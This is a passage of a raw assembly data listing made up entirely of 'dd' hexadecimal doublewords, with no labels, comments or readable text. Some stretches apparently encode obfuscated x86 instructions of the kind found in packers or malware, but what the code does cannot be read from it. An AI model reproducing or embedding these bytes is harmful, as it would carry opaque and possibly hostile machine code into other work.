		dd 13E063C6h, 7A4AEFAEh, 2B68592Bh, 0A6E24D86h,	8CA20D32h
		dd 77E24D85h, 0EA41EEF1h, 60E8975Ah, 3801A19h, 0B07DFDFCh
		dd 2B4E023Eh, 0A7h, 29B64994h, 0D11E2F06h, 5DD003AEh, 38CBDC3Bh
		dd 60E346ABh, 8A5AEC93h, 6E5B293Bh, 0DC3B5DC4h,	0CDE8B0Dh
		dd 4D8FF21Dh, 0F479DFE2h, 412372B2h, 623CAC50h,	70E2B0E8h
		dd 0EA958526h, 9A7CBFA0h, 39296EC8h, 0DFAD2B4Ch, 5F0AD756h
		dd 0FA07068Fh, 0AC313077h, 9D3AC0A0h, 3F032C77h, 0CDh
		dd 0EC519CAAh, 0B73AC559h, 9CE1EC70h, 69D41729h, 33BE43C2h
		dd 0FD0CCF39h, 29268DF0h, 4FD259A4h, 77883F82h,	2836076Ah
		dd 52FAD579h, 1BA6FCE2h, 852840EEh, 9FE38A89h, 59A6A7EAh
		dd 2CCE51D4h, 0ADABD419h, 49B1E855h, 2F0629B6h,	606AD71Ch
		dd 0B8AD3235h, 9D6F36F6h, 3D02AECFh, 7FEAAE45h,	6ABBA26Fh
		dd 0AF16E253h, 0E9FB53A0h, 6B042E1Bh, 4BCDE253h, 0FC834EDEh
		dd 0ED40E164h, 8528955Ah, 0FF327D82h, 4854A9E4h, 16A594CFh
		dd 0CE65C815h, 0A48FB03Dh, 3A1659A4h, 676CFD28h, 6A0D78D8h
		dd 50273887h, 54A9CD61h, 299C0448h, 0F17CD417h,	2CEEA9BAh
		dd 6FF1613Eh, 6D317ED6h, 0Dh, 1100EE2Ch, 0DC3B58FDh, 53194CD4h
		dd 36B949DAh, 0DC212209h, 78859893h, 0E2EF7C37h, 8A57D65Dh
		dd 32BF4EE5h, 0DB26260Dh, 408B9194h, 0EFF2743Fh, 89513940h
		dd 4BE56E1h, 1000000h, 0E9835EF1h, 240C8704h, 0E789575Ch
		dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0B850240Ch, 61798AAh
		dd 24348150h, 7AFF09FFh, 0FFF6815Eh, 587AFF09h,	64B868h
		dd 24248900h, 4240481h,	59000000h, 24348156h, 23ED1938h
		dd 5008418Fh, 8B8h, 81C80100h, 0ED193830h, 34FF5823h, 0C4835924h
		dd 2434FF04h, 4C4815Eh,	0E9000000h, 0FFFBA33Eh,	9D8E2C7h
		dd 4F53F3FDh, 0D5B8EE51h, 30617A3h, 45E0FFC5h, 0DE3F1062h
		dd 1F67A536h, 6439500Ch, 614CA052h, 53187284h, 555CA4EFh
		dd 0F441E607h, 0BF52EEECh, 0FC17502Ah, 7A7FC0EAh, 0D76A1BD7h
		dd 4B26C7B0h, 8B346515h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 71BD8386h, 6120Eh, 0BD830975h
		dd 6122D69h, 50197400h,	0B8C08B53h, 3FCh, 34F58589h, 9D8D0612h
		dd 614AFEAh, 585BD3FFh,	2D69BD83h, 74000612h, 0B8535017h
		dd 3FCh, 34F58589h, 9D8D0612h, 614ACD9h, 585BD3FFh, 28F0F51h
		dd 8B000000h, 0AE95AD1h, 84000000h, 8795A41Ah, 8291402Dh
		dd 81C08BD7h, 0DDB385DBh, 10890F0Bh, 0E8000000h, 0Ah, 3A98551Fh
		dd 0FADD264h, 835B65F3h, 121FE9BDh, 840F0106h, 85h, 0BAF6F380h
		dd 5D912A0Eh, 0F85BD83h, 0F000612h, 7085h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 27608E0Fh, 7E895h, 0FD900000h, 3F2D7474h, 0FE961h, 8D3C0000h
		dd 0ECC46E3Ch, 5D13B0F3h, 0DA0D2587h, 0BD835BF9h, 6120285h
		dd 41840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 7344C356h, 0CA802D3Ah
		dd 425E93Ah, 0D38B0000h, 0
		dd 3800Fh, 0BF0F0000h, 58E0FD6h, 66000000h, 0BE3EEA81h
		dd 40EFEB57h, 6D29587Ah, 0B607DB3Bh, 0E6F5584Eh, 0E69CB6FFh
		dd 0BCBF5ED6h, 0B21604A8h, 0A21E5A91h, 0E68B5AFEh, 0B4DD5E6Dh
		dd 241EA075h, 0DC658054h, 67908E52h, 0E69F5EC7h, 0E69F5282h
		dd 7F4F73B5h, 0EC439D27h, 0B38348CFh, 0E30BB791h, 0E6F55E5Bh
		dd 0E69CB6FEh, 0BDBF5ED6h, 0BA1605A8h, 0A21E5A91h, 0E6845AFEh
		dd 0B5DC5E6Dh, 70428775h, 1281D1B0h, 0E6770BC3h, 0BB9F5ED6h
		dd 40E9B3EAh, 0F27658A2h, 4B9F5EDAh, 0ED4DDCF7h, 32AD91F6h
		dd 846C6825h, 23B98D90h, 8CB3E1F2h, 0E5770D6Bh,	0C69F5EB5h
		dd 6FC49D81h, 679B7A31h, 0FB9B7AF2h, 0A59F5E5Bh, 0FAE99DFEh
		dd 1417A263h, 0D99D6976h, 0F4CE9BAh, 0E69F5EC8h, 0C34B117Dh
		dd 0D294188Ah, 0A78ADF48h, 74039A33h, 26142898h, 0ECF5E01h
		dd 0E69F5EB6h, 0BE5C06FAh, 0E2BB1AE4h, 0E2BB1A37h, 0E69F5E42h
		dd 0D35C0EEDh, 7C32A155h, 0B6FF0EE9h, 86AE51E7h, 86C704BBh
		dd 0D7900C3Dh, 87FE06ECh, 66BB5AD2h, 0E7904873h, 8C617A9Ah
		dd 0E5770E6Bh, 0C69F5EB5h, 6FC79D82h, 679B7A29h, 0F29B7AF2h
		dd 0A69F5E5Bh, 0BECE9DFDh, 0ECA5EBCh, 0E69F5E68h, 0BB5C0395h
		dd 0E2BB3253h, 0E2BB1AECh, 0E69F5EA3h, 725C0B1Eh, 0E4935BC5h
		dd 0E6F55ED6h, 0E69CB638h, 0BDBF5EB5h, 0BA160519h, 0A21E5A49h
		dd 0E6895A92h, 0B5DC5E5Bh, 6E9F986Eh, 0E69DD8D9h, 33155E6Bh
		dd 177DDFD3h, 8C97D56Eh, 0E5770B6Dh, 0C69F5EB6h, 6FC29D06h
		dd 679B7AC1h, 0F39B7A92h, 0A39F5E6Bh, 46219DE0h, 0E699D8D5h
		dd 241E5E6Dh, 0F84D9372h, 1AD7D53Dh, 0E7278926h, 0E99F5ED6h
		dd 0E69F46E5h, 0E68CB7B5h, 0FECB5EDAh, 7CF3799Ch, 56C56D5Dh
		dd 15E185CBh, 2168AC07h, 31140E12h, 8CBB52E2h, 0E5770CB5h
		dd 0C69F5EDAh, 6FC59D37h, 679B7AE2h, 0F29B7A1Fh, 0A49F5EADh
		dd 80639D84h, 0E6F587E7h, 0E69CB6E3h, 0B8BF5EDAh, 921600AEh
		dd 0A21E5A92h, 0E6865A7Fh, 0B0D95EADh, 93D94015h, 10A636EEh
		dd 63905A74h, 0E69F5FABh, 8CC6CEDFh, 0E57709B6h, 0C69F5E5Bh
		dd 6FC09DF2h, 679B7AAAh, 0FC9B7A2Fh, 0A19F5EB5h, 0FAA19D8Dh
		dd 0B49E3690h, 0E0763EACh, 0A79F5E5Bh, 9EBC6DCFh, 0E68FB7ABh
		dd 0EE165E6Bh, 40980833h, 0E485EC6Dh, 0BC1137E9h, 86FE243Bh
		dd 8EA6DE3Ah, 0E7EEDBA2h, 0E6F55ED6h, 0E69CB638h, 0BDBF5EB5h
		dd 0BA160519h, 0A21E5A49h, 0E6895A92h, 0B5DC5E5Bh, 0CC38E66Eh
		dd 0E69F4E3Eh, 3B37566Bh, 9867A1Ah, 96373BE3h, 6AA3157Ah
		dd 62900CFAh, 0E69F5E5Bh, 6E9005F7h, 0E69F5EC0h, 2148DF0Bh
		dd 0FDC95D5h, 0E69F5ED3h, 13004005h, 92AC1353h,	8E243FC9h
		dd 6DF6B691h, 191E5FAFh, 669F5E6Bh, 0E79ADCBAh,	63585EDAh
		dd 0E088FB8Ah, 0E69F5EB7h, 0EC95E31h, 0E69F5EAEh, 0B85C00F6h
		dd 0E2BB2AE2h, 0E2BB1A34h, 0E69F5ECCh, 0F55C082Bh, 0E97725E9h
		dd 0F9F5E5Bh, 677AAF0Bh, 0C3F05221h, 978EBD4Eh,	6990FFB9h
		dd 0E69F5ED8h, 0FC58DE6h, 0E69F5E69h, 0ECA5E31h, 0E69F5EAEh
		dd 0BB5C03F6h, 0E2BB32E2h, 0E2BB1A34h, 0E69F5ECFh, 765C0B28h
		dd 0E0195188h, 679F5E5Bh, 0D56D346Eh, 0E694B7D4h, 94FD5E6Bh
		dd 32960FC5h, 51926ED5h, 0E691B72Eh, 64E55EB6h,	5EB741A9h
		dd 2DC9ACEh, 6BF8A721h,	0E69F3482h, 0E68CB7B5h,	81C5EDAh
		dd 0EDBF8D9Ah, 7ED4FDC8h, 5C9C1F3Bh, 84E5E726h,	0E6F507E8h
		dd 0E69CB63Dh, 0B8BF5EB5h, 92160019h, 0A21E5A49h, 0E6845A92h
		dd 0B0D95E5Bh, 38A136Eh, 0A82F467Bh, 9F1C38CFh,	6290A1BEh
		dd 0E69F5EF9h, 11A9994h, 0E7994913h, 0B79F5E5Bh, 0E69F5B45h
		dd 15F4FD6h, 341E0AE0h,	0F86FCAA4h, 66C80480h, 0AEC532AAh
		dd 0EC85EDCh, 0E69F5E58h, 0B95C018Dh, 0E2BB225Fh, 0E2BB1AEAh
		dd 0E69F5EA3h, 5F5C099Dh, 1024C71Eh, 5FE03116h,	0F4091827h
		dd 4AAFDB20h, 5B1258C1h, 0E088F44Dh, 0E1EBA68Eh, 2F4E51EAh
		dd 506AB52Ah, 0B69F34F0h, 0E69F5DB3h, 25C77EADh, 0C2DBD78Eh
		dd 0C2DBDF6Fh, 0E69F49B1h, 25CF1EDAh, 0A97938D0h, 0F22DD4Ah
		dd 0E7994C44h, 0E603DAA2h, 0E6F55ED6h, 0E69CB63Eh, 0BBBF5EB5h
		dd 8A160319h, 0A21E5A49h, 0E68A5A92h, 0B3DA5E5Bh, 0E65B86Eh
		dd 0E69F5ED1h, 5CB526B1h, 0E94C15F9h, 0E69F5850h, 224DDF6Dh
		dd 0BC92D2D4h, 0E91AE3D8h, 0E99F58BFh, 0E69F0753h, 0A174DE6Bh
		dd 0E41AE336h, 0E99F58C8h, 0E69F0DE9h, 0B49F34B6h, 0E69F5DB3h
		dd 25C57EADh, 0C2CBD78Ch, 0C2DBDF6Fh, 0E69F44B1h, 25CD1CDAh
		dd 2157588Dh, 0E95A7BF9h, 0E69F5BD7h, 41E38ADh,	0F577534Ch
		dd 1E9F5E6Bh, 42CB94B5h, 0C5485C85h, 3EE3A091h,	0D8A94D65h
		dd 51908213h, 0D76047Eh, 809F5ED6h, 77E2ADEAh, 0F976E336h
		dd 0E99E58C8h, 0E69FCDE8h, 0B09F34B6h, 0E69F5DB3h, 25C17EADh
		dd 0C2EBD788h, 0C2DBDF6Fh, 0E69F48B1h, 25C918DAh, 0F8EA7C4h
		dd 0E69F5EB3h, 8F12BD1Ah, 0BB12ECC8h, 0EC95EBCh, 0E69F5E68h
		dd 0B85C0095h, 0E2BB2A53h, 0E2BB1AECh, 0E69F5EABh, 5A5C081Dh
		dd 2D4B0B9Eh, 455D0AFEh, 0E699B644h, 0A7255EB5h, 0EE81A50Fh
		dd 0BC4DE162h, 0B49F3475h, 0E69F5DB3h, 25C57EADh, 0C2CBD78Ch
		dd 0C2DBDF6Fh, 0E69F4BB1h, 25CD1CDAh, 0F62DAA26h, 0E69F0B5Fh
		dd 0E699B65Bh, 0D9D05EADh, 76D4C585h, 0BC5D99EBh, 0E6F591E8h
		dd 0E69CB688h, 0BCBF5E6Dh, 0B2160475h, 0A21E5A7Fh, 0E6845A89h
		dd 0B4DD5ED6h, 883A8AA8h, 0D1096F26h, 0E68EB60Fh, 437E5E6Dh
		dd 4BD0815Fh, 485032F1h, 7461E401h, 0E952DE9Eh,	0E69F5CE3h
		dd 0BD48D4B5h, 5B128151h, 0E088FB92h, 4D62D33Bh, 0FB27584Ch
		dd 0D5E464F1h, 0F4BA5353h, 2750756Dh, 918275Fh,	0AFDB20F4h
		dd 1258C14Ah, 88F44D5Bh, 0EBA68EE0h, 4E51EAE1h,	0E9832A2Fh
		dd 83A4F305h, 17A5E7BDh, 0D740006h, 50658D8Dh, 1B80612h
		dd 0FF000000h, 6A40E1h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0D1A3FC3h, 8A07EA89h, 0FE93F8Ah
		dd 0D8000000h, 750553D1h, 3F9DD382h, 167A5511h,	6A9624h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0FD2738C3h, 0A4BB92F1h, 8B7C2EC8h, 2DE883DFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 49C35747h, 443050D7h
		dd 0F5D98A0Ch, 6AC08Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8060E6C3h, 830FC4EFh, 5,	26AE92BAh
		dd 71BD835Dh, 6120Eh, 0BD830975h, 6122D69h, 50197400h
		dd 0B8C08B53h, 3FCh, 32058589h,	9D8D0612h, 614B051h, 585BD3FFh
		dd 2D69BD83h, 74000612h, 0B8535017h, 3FCh, 32058589h, 9D8D0612h
		dd 614ACF2h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D2C35343h, 0C7A6979Eh, 0A4CDA58Dh, 0F68053F6h
		dd 870F5A0Fh, 3, 6A65EE80h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 6774C350h, 0F48589DEh
		dd 4BBA66EFh, 0E9C08B87h, 4Ah, 4596E4A5h, 0
		dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h,	0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h,	0DEh, 6	dup(0)
		dd 78E90000h, 6800000Ah, 617AEE7h, 0FAD28BE9h, 0AFE668FFh
		dd 81E90617h, 68FFFAD2h, 617B0F3h, 0FAD277E9h, 0B16B68FFh
		dd 6DE90617h, 68FFFAD2h, 617B21Bh, 0FAD263E9h, 0B2E268FFh
		dd 59E90617h, 68FFFAD2h, 617B406h, 0FAD24FE9h, 0B5B968FFh
		dd 45E90617h, 68FFFAD2h, 617B699h, 0FAD23BE9h, 21CF55FFh
		dd 0F09669C0h, 0BE6AB817h, 9034CE21h, 5F0B1877h, 90C7FB82h
		dd 0A70AE793h, 0F75AB75Dh, 6F882Ah, 67B85901h, 2C17C62Ah
		dd 95B100EDh, 0ED4F6F4Ch, 25C93850h, 0D4A70CE6h, 0BF29F867h
		dd 0ED2FA829h, 48DB0600h, 1C9BD6A2h, 18E940A1h,	3589026Eh
		dd 222D6AD3h, 2EAF39E5h, 8800ED2Fh, 5A82BB5h, 0E0243548h
		dd 0D0B2D663h, 0A0AF18Ch, 104D8A33h, 0D5D5F9F8h, 0F808570Ah
		dd 6BBAD550h, 3BB8B5C3h, 3CC1D52Ch, 8C0BAB76h, 8899F011h
		dd 0A53992DEh, 0E4785A5Eh, 0C03F50A0h, 5E1D157Bh, 27900C7h
		dd 0CEF1D4D3h, 0DDEB676Ah, 8AAh, 31CE7E8Ah, 40A145DEh
		dd 926F19E9h, 0A041E33Fh, 0F30CBA49h, 42C17648h, 0C147B94h
		dd 0D9248B64h, 0B071D839h, 0FBB0E906h, 0ED2C6495h, 0BD24C200h
		dd 9EEA946Dh, 0B34CF60Fh, 9F1C805Eh, 0E884BD49h, 0D32EB90Ch
		dd 0AD284533h, 56000110h, 12C7AFDDh, 6200E88Ch,	737D553Dh
		dd 1CD6E589h, 2Fh, 0ED4F6F85h, 0A5A43850h, 8BF20CE8h, 52D3BEFDh
		dd 30A52BA8h, 4000E8AFh, 0E825331Fh, 0E8AF5180h, 178CEF00h
		dd 0E5A6D0D0h, 0C0B9D6h, 6D580000h, 0F9EEA94h, 0AF3E4AF8h
		dd 49C0AC56h, 67F10EB8h, 6FA7FDFh, 95721CE5h, 3543EB3Ah
		dd 62081B06h, 0D63A84E1h, 8A630365h, 7B0CE8h, 0D0348AE7h
		dd 1A4A056Bh, 4CAC0AF5h, 394F5AC2h, 0ADCA1B8h, 0EBB52716h
		dd 7E1B98B4h, 82810F13h, 4ECDA8D4h, 73C84722h, 839F1FE4h
		dd 5BD693E1h, 0CAD453BEh, 0CF169539h, 64B34ABEh, 0ABCBD591h
		dd 8B000007h, 0DF32CF7Dh, 0EE419E44h, 3C936C18h, 4EA13EE2h
		dd 49EC0DB9h, 9541C675h, 650B1574h, 36D82584h, 7AF76D9h
		dd 94FCB1EAh, 0ED2D65h,	0BFB227C3h, 0FE7A4621h,	0DD335D6Eh
		dd 6FA661Ch, 0CF44C3BAh, 5AB763A0h, 98682EF7h, 6AE984F0h
		dd 4F6F2A8Dh, 0A43850EDh, 120CE8A5h, 69B9FF07h,	393440BFh
		dd 0D09C9FBCh, 0E8AF5580h, 4B882500h, 0E8AFB425h, 38E02000h
		dd 0EA9B1863h, 0A6B82880h, 0CF0CD6E5h, 0E8A338B9h, 2EA79600h
		dd 0B84Ch, 0E0202F00h, 6DA4BB38h, 3DBCD494h, 9B06FA82h
		dd 9234C9A0h, 23E06917h, 0D1790977h, 0EF06FA7Fh, 0EE936C16h
		dd 70FC9E63h, 101170F5h, 0A6D27A8Ah, 60EF4CCBh,	0EC89F7A3h
		dd 38860577h, 313FEB38h, 0EC04B934h, 0CE88A5Ch,	0A906E35Ah
		dd 0CD0AB315h, 248E9CB3h, 0E1626EC7h, 0F551B37Fh, 8338030Ah
		dd 0A547DB46h, 0A601F018h, 0DC5F0ADDh, 4FFB0867h, 1AC85FB2h
		dd 0B431D8CBh, 0C1EF9B64h, 69Eh, 3DDA8A9Eh, 4CAD51D2h
		dd 9E7B25FDh, 0AC4DEF33h, 0FF18C65Dh, 4ED58244h, 18E847A0h
		dd 0E5389770h, 0BC45A445h, 0EFACF512h, 0ED325899h, 81D8F600h
		dd 0FE8966Dh, 58B961A0h, 0EA946DF9h, 4CF60F9Eh,	8230A5B3h
		dd 18A606FAh, 8872E8A9h, 0B5308785h, 0B7AFE008h, 92E90CE6h
		dd 3FE73E29h, 0CB64FA2h, 71D3EB60h, 4374A4CCh, 0EB520AF0h
		dd 0B7529D38h, 0A145064h, 626h,	0B5520206h, 0C425C95Ah
		dd 16F39D65h, 24C567BBh, 77903EC5h, 0C65DFACCh,	9090FF18h
		dd 5DA00FE8h, 34CD5CBDh, 77346D8Ah, 0ED33E011h,	39A07E00h
		dd 9EEA946Dh, 204CF60Fh, 0C6B254A9h, 6C18BA47h,	9250D26h
		dd 9692F8AFh, 750AE78Fh, 8221D038h, 0CB7C06FAh,	6B897B8Eh
		dd 9D166536h, 0F7F96A5Ah, 0C07D0h, 0BFA20000h, 29AA4ED0h
		dd 145E1h, 61946000h, 0F706FA82h, 0D03885E7h, 0CE625AAh
		dd 75E45924h, 8AE502ACh, 0FF6AD37Bh, 77057E24h,	0F74DA4C4h
		dd 9928ECE5h, 0D6F4F1Ch, 0CD858B0h, 87F60AFFh, 0B67E8F5Ch
		dd 0B886C264h, 576h, 0E502B276h, 34D5798Ah, 46A34DD5h
		dd 947517EBh, 0A740EE35h, 768DAA9Ch, 40C02FC8h,	0D107F98h
		dd 0E43D8C6Dh, 0C744DD3Ah, 0ED3030A1h, 69F08E00h, 9EEA946Dh
		dd 0DB172DDh, 7E28F988h, 0E42152F2h, 0FA824D8Ch, 1390EB06h
		dd 0BEDAF852h, 5FA165AEh, 678F27B9h, 59A8C73Ch,	575150B1h
		dd 0E5D0F727h, 8300AC7Ah, 7EBh,	97D28E00h, 0B7000000h
		dd 50ED4F6Fh, 1A9B3DC1h, 25FA4B9Dh, 9740CE6h, 0B25CA5B4h
		dd 832BFA55h, 2AD82F3Ah, 7648C3A9h, 547A912h, 5D0AF18Bh
		dd 33F25DDEh, 2036E8Bh,	0DC37345h, 0A55DE393h, 58CA5283h
		dd 0FC880795h, 50ED4F6Fh, 0C7A74038h, 0E42F0E00h, 6ACE344Dh
		dd 0AFDAE460h, 8F000004h, 0C32ECB79h, 127D9A40h, 208F6814h
		dd 72DD3ADEh, 55E809B5h, 913DCA71h, 61071970h, 32D42980h
		dd 3AB7AD5h, 6880BDE6h,	0ED3069h, 0BFB62BC7h, 10DE6021h
		dd 0F84A2E9h, 15CDFh, 0D0BFBA00h, 13B94B53h, 88DE894h
		dd 0BC01637Bh, 0B228E17Fh, 0E6695CD8h, 6EEE9653h, 9112E267h
		dd 0E648BE0Fh, 37C9580Ch, 0CA471491h, 0DA7EAEh,	9D075368h
		dd 0E21C5Ch, 22E79EFAh,	0AE45118Fh, 0CA07B433h,	9E1FC55Fh
		dd 0E24E8B4Ah, 0DD562500h, 72CB73B2h, 8957C616h, 0D94CCC7Ah
		dd 0E3879820h, 0D85DD895h, 0B159A807h, 127648C3h, 0E0547A9h
		dd 0E05D0AFEh, 0D55B4988h, 1989E70Ah, 8909DB95h, 7FBC3BB6h
		dd 0EB681010h, 7442C34Eh, 7717EAAAh, 11D8CF8h, 0D865E05Fh
		dd 0CB0A5E9Bh, 650AD552h, 524F8E16h, 92E90AD5h,	9091F811h
		dd 37CA55E6h, 2D6E1E97h, 4D3BE322h, 8D6B330h, 4FDA17A4h
		dd 4610FB5h, 5721198Fh,	306D00C7h, 66B5CCD0h, 33A53506h
		dd 14BB82C2h, 73A2211Ch, 6ACE08B8h, 8BA18FFBh, 6B000003h
		dd 0BF12EF9Dh, 0CE21BE64h, 1C738C38h, 2E815E02h, 0A9CC2DD9h
		dd 0B561A695h, 852BF554h, 56F80564h, 27CF56B9h,	0B4DC51CAh
		dd 0ED3645h, 6D92C7E3h,	0F9EEA94h, 60204CF6h, 46DF4B27h
		dd 0F4C11F9Ch, 167CBC58h, 46419A1Bh, 0D0F7D046h, 242Bh
		dd 4F6FCE00h, 983850EDh, 0F60CE832h, 0DB2B3687h, 5480D031h
		dd 0C000E8D2h, 11789941h, 0F196711h, 316h, 0EE906DCAh
		dd 50FA0B82h, 0FAA67CEBh, 4CDB6079h, 0FE890AB6h, 4AF17F27h
		dd 0BF44F72Eh, 0BBCD1746h, 6FA9C3Ah, 0B22AA994h, 0F64BACBBh
		dd 771293F2h, 86EB04AEh, 2A67D438h, 0B93AE83Fh,	0E8B89357h
		dd 0DCA8930Ch, 0E8C841B4h, 22083100h, 0E5CD5E4Eh, 4533D6h
		dd 6FD60000h, 3050ED4Fh, 0E9B3EF03h, 0B00D8633h, 0E8588458h
		dd 20E7720Ch, 0D9A4F172h, 5DB3F0ABh, 0E9A89Ch, 0A847B6DAh
		dd 9AE100E9h, 0E98D96C1h, 0E263DE9Bh, 0E9A87B7Eh, 0EC460B00h
		dd 0E4A11494h, 0E775D6h, 6D1C0000h, 0F9EEA94h, 66F14AF8h
		dd 0EA87F5A1h, 7B8A0369h, 0DD24A5D3h, 49A7D435h, 0EF4393C1h
		dd 0AAE70C4h, 3784037Eh, 0FA9220D1h, 46BFBE06h,	0FA6F8AD2h
		dd 0C76FB606h, 943EC72Ah, 0F95B63E8h, 6EE90744h, 8BBD1688h
		dd 7565EB68h, 310CE846h, 1A336AD7h, 0D0550DA6h,	1403B883h
		dd 0A9A27A0Bh, 4AD6AF5Ch, 54C4A1CFh, 5BC9C629h,	728B08E7h
		dd 0DE5FC11Dh, 0F4E21E8Ah, 0B5DB580Ah, 0AD22344h, 0F1AA4ED0h
		dd 87F5A166h, 4BF06FEAh, 7E9B47DCh, 26CE56C1h, 0CBA61F5Ah
		dd 7A478E3Ch, 0DD64B5A9h, 1D88791h, 50D40000h, 17E847A0h
		dd 0EB3B9673h, 0B549A041h, 8C9BF613h, 487A01DEh, 89661413h
		dd 0D936DE26h
		dd 0EE0BAB76h, 3FD88283h, 9647A9E6h, 3000ED37h,	966DCF12h
		dd 61A00FE8h, 0BB25CB55h, 20CDA0h, 0D730AFF5h, 14F6F70h
		dd 0D1006800h, 6F06FA82h, 86E3910Ch, 0B791BE7h,	264AF36Eh
		dd 0CE8A5AAh, 0FDA37DECh, 7762F27Eh, 700E8AFh, 20A0F852h
		dd 49D6E5A6h, 0AFh, 0EA946DE8h,	4AF80F9Eh, 61E37D3Eh, 0D81E1311h
		dd 8ED63ABBh, 0BA06FA5Eh, 0CB26C36Bh, 67E4903Ah, 2048F557h
		dd 0CE8B5B0h, 0ADD22F0Eh, 9A0DEA53h, 0C2439510h, 4B189D18h
		dd 6FAC1173h, 581FDE32h, 2EB900E8h, 225F2DD9h, 8DBA2EA7h
		dd 0E70AF5FCh, 0EB382794h, 0B84FA23Fh, 0C781CE6h, 0D423F271h
		dd 764B48Fh, 0F87D4Bh, 30F40000h, 0F7086780h, 0CB5BB653h
		dd 9569C021h, 6CBB16F3h, 281A21BEh, 0A946F433h,	0F916BE46h
		dd 0EEB8B96h, 5FB862A3h, 0B62749C6h, 1000ED34h,	21BFEF72h
		dd 29F5DE7Ch, 0F1351587h, 0F13651D2h, 0BC45A445h, 6D92F512h
		dd 0D981F794h, 668FBB33h, 0FA5AD302h, 930E6D06h, 0D5336814h
		dd 43B47EFCh, 49F53277h, 42C33E3Bh, 8734DE27h, 7666CE69h
		dd 14AB7C0Bh, 41A5AC18h, 0BF50D550h, 93288C52h,	0E6EF077Dh
		dd 61A0AF0Ch, 1C1F3CB9h, 6328F950h, 9F64C7EBh, 0A03D69F3h
		dd 0CC6EB3DAh, 0C859B051h, 69DED703h, 0EA6981BCh, 0BE25F69Eh
		dd 0FC354E63h, 0F39B6A96h, 650F6916h, 0CBFE0F36h, 0B64F1A9Bh
		dd 15E9600Ch, 0E12A0573h, 32889989h, 0B561A6F2h, 412FAAC7h
		dd 0E148A924h, 3C0A7620h, 1Ah, 6385C27Fh, 4F63D572h, 0F6E771CCh
		dd 504F63D5h, 0DC8082EDh, 3950D590h, 976DF998h,	0F3329BE9h
		dd 51AC3D4Bh, 0BA4AC3B1h, 20E76612h, 80870672h,	0DB27A6D2h
		dd 44C24B39h, 0A27DEC98h, 532D70FCh, 0C3815B54h, 4, 8704EB83h
		dd 525C241Ch, 0C281E289h, 4, 8704EA83h,	895C2414h, 89502414h
		dd 405E0h, 0E8830000h, 24048704h, 2404895Ch, 0AE38BE56h
		dd 0F2890617h, 8324348Bh, 476804C4h, 8900002Bh,	4832424h
		dd 68580424h, 225Ch, 0B9240C89h, 8, 1189C101h, 24048B59h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 89572414h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 0C82AE95Ch, 0E5EAFFFAh
		dd 5BFC2ECCh, 0DBFE9545h, 0B8D922DCh, 617B7B6h,	0E0FFC503h
		dd 58F7A059h, 787450F4h, 165DD643h, 78647654h, 3DF8A3Fh
		dd 74BD84Eh, 8909AF9h, 74B9FC78h, 0BA962C3h, 46ACB69h
		dd 3B7CD703h, 1A1C4022h, 70C35906h, 14F71FAh, 57CF6F88h
		dd 7463C110h, 49C6B9D0h, 1B576BC2h, 4FAFF8C7h, 5FC40729h
		dd 35B37367h, 5A39333Dh, 6FE99646h, 7342A1EAh, 51619AEh
		dd 0B9C38D8Dh, 6A0617h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0E8C055C3h, 5, 3C25D44Fh, 31853346h
		dd 5806120Fh, 27918D89h, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0C9D8A2C3h, 14E9h, 0CF723B00h
		dd 0C4576B54h, 19E4DD47h, 837732Fh, 6B20B14h, 3985C70Ah
		dd 0C061234h, 29000066h, 1210FD9Dh, 5D85C706h, 6122Eh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0B316C350h, 9E94A65h, 25000000h
		dd 0D16931BCh, 0C3E66212h, 1C21958Bh, 0B5FF0612h, 6121AEDh
		dd 272D9589h, 95FF0612h, 6120AC9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0D1C35343h,	0BECE076Eh, 4DD66CC9h
		dd 9E480ABFh, 0FF006A6Bh, 12247595h, 0EBC08B06h, 1EC8776Bh
		dd 5C71C17Fh, 282B0EA6h, 1CE8E9B4h, 2D89B667h, 0C8B28D02h
		dd 0D1B24CF3h, 83871B05h, 13C19111h, 9EF7D39Ch,	822F22A2h
		dd 34AF6D55h, 0C6BBE407h, 3891B6FFh, 82437AD0h,	8A392AA1h
		dd 0BEE9228Ch, 0EA69C868h, 55512467h, 20E2BF3Ah, 0A8C64A40h
		dd 0CF4256DBh, 8A3E68A4h, 876DFD6Bh, 0C0B275B5h, 9AAB8A7Eh
		dd 0C1493D50h, 9E8h, 3FB00F00h,	9A43D28Ah, 9D8BC5B8h, 6122329h
		dd 81F38B5Ah, 687DC2h, 21C48000h, 0BFh,	0DE86000h, 0ED000000h
		dd 5D870515h, 4987B153h, 414CB8EBh, 5F3CF680h, 34FF61F5h
		dd 0C5BD8917h, 59061220h, 52DBD89h, 0C1810612h,	251AD2ACh
		dd 10ADC181h, 66502298h, 8158F28Bh, 0B15979E9h,	7E908h
		dd 0CCA50000h, 1E53946Eh, 81665110h, 8F5D61C3h,	8D893A04h
		dd 6122039h, 0CFC7EF81h, 958945C6h, 61227B1h, 0CFC3C781h
		dd 0B58945C6h, 6121B09h, 9828FF81h, 850FFFFFh, 0FFFFFF9Ah
